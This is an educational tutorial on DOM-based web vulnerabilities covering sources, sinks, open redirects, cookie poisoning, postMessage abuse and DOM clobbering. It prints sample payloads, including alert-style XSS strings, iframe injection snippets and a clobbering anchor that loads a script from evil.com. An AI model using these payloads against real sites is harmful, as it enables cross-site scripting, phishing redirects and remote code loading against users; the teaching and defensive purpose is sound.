What is the DOM?#
The document object model is a web browser’s representation of the elements on the page. Websites use JavaScript to manipulate nodes and objects in the DOM, and if an attacker controlled value is passed from a source into a dangerous function (or a sink), that is when a vulnerability would arise.
Taint-Flow Vulnerabilities#
Lots of DOM-based vulnerabilities can be traced back to the way that the client-side application manipulates attacker controlled data. Before we really get into the weeds about taint-flow vulnerabilities, we need a good understanding of how this data is used by client-side applications with sources and sinks.
Sources and Sinks#
Sources are JS properties that accept data that is potentially controlled by a user. An example of this would be location.search because it reads user-submitted data from a query string which is easy for an attacker to manipulate.
Any property that can be controlled by a potential attacker is considered to be a source. This includes things like referring URLs through the document.referrer property and user cookies through document.cookie.
Sinks are potentially dangerous JS functions or DOM objects that allow for user-controlled data to be passed into it. For example, the eval() function is a sink because it processes input data in the form of the argument passed to it.
Another example of an HTML sink is document.body.innerHTML because it allows an attacker to pass in data that could contain HTML and JS to be executed.
These vulnerabilities arise when a website passes data from a source to a sink that handles the data in an unsafe way like we just described.
One of the most common places to observe this is the URL, which is typically accessed using the location object. Attackers can convince a victim to navigate to their site that sends the victim to a vulnerable web page with a payload in the query string.
For example, examine this code:
goto = location.hash.slice(1)
if (goto.startsWith('https:')) {
location = goto;
}
This would be vulnerable to DOM-based redirection because the location.hash source is handling data in an unsafe way. The location property of the window is taken from location.hash and so an attacker could use the following URL to exploit this:
https://www.vulnerable.com/example#https://www.evil.com
A victim would visit this URL and the JS sets the location property to https://www.evil.com, which redirects the victim to that site.
You could imagine how this would get around a lot of user’s intuitive phishing perception, by assuming that the link starting with a legitimate site won’t cause any harm.
Common Sources#
Here are some typical sources you might be able to use to exploit these taint-flow vulnerabilities:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Risky Sinks#
There are no shortages of risky sinks for us to investigate, so we will go through each category and an example sink to demonstrate how it might be vulnerable.
DOM XSS#
One sink you might see here would be document.write, which often works with the script elements. This allows you to use simple payloads like this one:
document.write('... <script>alert(document.cookie)</script> ...');
Open Redirection#
DOM-based open redirection vulnerabilities usually occur when an attacker can write data that triggers cross-domain navigation.
For example, a page has a back button that returns you to the home page like this:
<a href="#" onclick="returnUrl = /url=(https?:\/\/.+)/.exec(location); location.href = returnUrl ? returnUrl[1] : "/"">Back to Home</a>
This code contains an onclick attribute that extracts the URL parameter from the current location’s URL, then it redirects the user to that captured URL.
This code is vulnerable to an open redirect because the ‘back to home’ link is captured from the current URL, which we can control. We can make a URL like this:
https://vulnerable.com/page?=1&url=https://evil.com
This would then redirect the user to our malicious page then they clock on the back button, so long as they navigated to that page with our specially-crafted link.
You can prevent this by not allowing the application to set redirection targets using data originated from untrusted sources.
Cookie Manipulation#
If JS on a page writes data from some source that we have access to into the document.cookie without sanitizing it first, we might be able to manipulate the value of a single cookie and inject other values.
For example, if a store page uses a cookie to determine the last product you viewed like this:
lastViewedProduct: https://vulnerable.com/products?productID=1
One way we could exploit this is by loading the target page in an iframe on our own malicious page and getting a user to use our page. This way we can add some JS to the end of the URL.
This would cause the browser to temporarily open the malicious URL and save it to the lastProductViewed cookie. If the victim views our page, it would poison their cookie and execute the JS when they load the page.
That HTML on our page might look like this:
<iframe src="https://www.vulnerable.com/product?productId=1&'><script>alert(1)</script>">
This way, if they view our page their cookie is poisoned and when they navigate to the real page the JS in the cookie will execute.
JavaScript Injection#
When a script on a web application executes some attacker-controlled data, we might be able to break the syntax of the original function and execute our own code.
This would usually involve one of the following sinks being used without sanitizing our data:
eval()
Function()
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Because we can inject JS, the limitations of what we could do are pretty vast, but an example would be something like a keylogger or a cookie stealer.
Document-Domain Manipulation#
The document.domain property is used by browsers in their enforcement of the same origin policy. If two pages from different origins explicitly set the same document.domain value, then those two pages can interact in unrestricted ways.
One way we could set this property is by causing the target page and some other page we control to use the same document.domain value. Using this strategy could allow us to pass data into the document.domain sink which can allow us to perform most typical XSS-related attacks.
WebSocket URL Poisoning#
WebSocket-URL poisoning is when a script uses input data as the target URL of a WebSocket connection. We might be able to use this vulnerability to construct a URL that, if visited by another user, will cause the user’s browser to open a WebSocket connection to a URL that is under our own control.
If any of this data being transmitted via WebSockets is sensitive, we would be able to capture it. We could also interact with the application even more depending on the implementation of WebSockets and its purpose.
Link Manipulation#
If a script on the page writes data that we control to a navigation target like a clickable link or submission URL for a form, we might be able to make a URL that modifies the target links within the response.
We could use this for phishing, getting a user to submit sensitive data to our domain, changing the application behavior, or bypassing XSS defenses by injecting on-site links.
Web Message Manipulation#
If a site handles incoming web messages in an unsafe way, for example, by not verifying the origin of incoming messages correctly in the event listener, properties and functions that are called by the event listener can potentially become sinks.
In this example, we could host a malicious iframe and use the postMessage() method to pass web message data to the vulnerable event listener, which then sends the payload to a sink on the parent page.
This behavior allows us to use web messages as the source for propagating malicious data to any of those sinks.
For example, imagine a page that uses the addEventListener() to serve advertisements to users. We might be able to include this page in an iframe that uses postMessage() to send a web message to the home page that will insert our content to the home page.
That HTML might look like this:
<iframe src="https://www.vulnerable.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=alert(1)>','*')">
As long as a website accepts web message data from an untrusted source due to a lack of adequate origin verification, any sinks that are used by the incoming message event listener could potentially lead to vulnerabilities.
Ajax Request Header Manipulation#
Ajax enables websites to make asynchronous requests to a server so that web applications can dynamically change content on the page without the need to reload the entire page.
However, Ajax request-header manipulation vulnerabilities arise when a script writes attacker-controllable data into the request header of an Ajax request that is issued using an XmlHttpRequest object.
We might be able to make a URL that will cause an arbitrary Ajax request to be sent when a victim visits the page.
Local File Path Manipulation#
We might be able to manipulate applications that use the filename parameter to make a malicious URL that causes a victim to open an arbitrary local file when they access our site.
If the website reads data from the file, we could retrieve that data, and if the site writes sensitive data to a file we might be able to write our own data to that file.
DOM Clobbering#
This is a technique that lets us inject HTML into a page and manipulate the DOM.
This is useful in cases where XSS is not possible, but where we can still control some on-page attribute like id or name that are whitelisted by some HTML filter.
The most common form of DOM clobbering uses an anchor element to overwrite a global variable, which is then used by the application in an unsafe way, such as generating a dynamic script URL.
The term refers to the idea that we are clobbering a global variable or property of an object and overwriting it with a DOM node or HTML collection instead.
For example, we could use DOM objects to overwrite another JS object that uses an unsafe name like submit, to interfere with a form’s actual submit button.
DOM Clobbering Exploitation#
Imagine a JS script using the following line:
var someObject = window.someObject || {};
If we control some HTML on the page, we can clobber the someObject reference with a DOM node. Consider the following code:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
If we wanted to exploit this code, we could inject some HTML to clobber the someObject reference with an anchor element:
<a id=someObject><a id=someObject name=url href=//evil.com/evil.js>
Because these two anchors are using the same ID, the DOM groups them together in a collection and it overwrites the someObject reference with the collection. The name attribute is used on the last anchor to clobber the url property, which points to an external script.
Another Example#
Imagine a site that uses JS to add a user’s default avatar on a website that allows for comments:
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
This is using the OR operator, which allows us to perform some clobbering. First, we need to make two anchors with the same ID to form a DOM collection. Then, we can make a name attribute in the second anchor that clobbers the avatar property, which contains an href attribute.
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
This performs the described attack action, while also avoiding some filters.
Preventing DOM Clobbering#
To simplify the approach, try to implement checks that objects and functions are what you expect them to be for any given function execution.
You should also avoid writing code that references a global variable in conjunction with the logical OR operator ||, as this can lead to DOM clobbering vulnerabilities.
Prevention#
There is no kind of fix everything action we can take here, but there is some general guidance that is basically to avoid allowing data from untrusted sources to alter values transmitted to sinks in a dynamic way.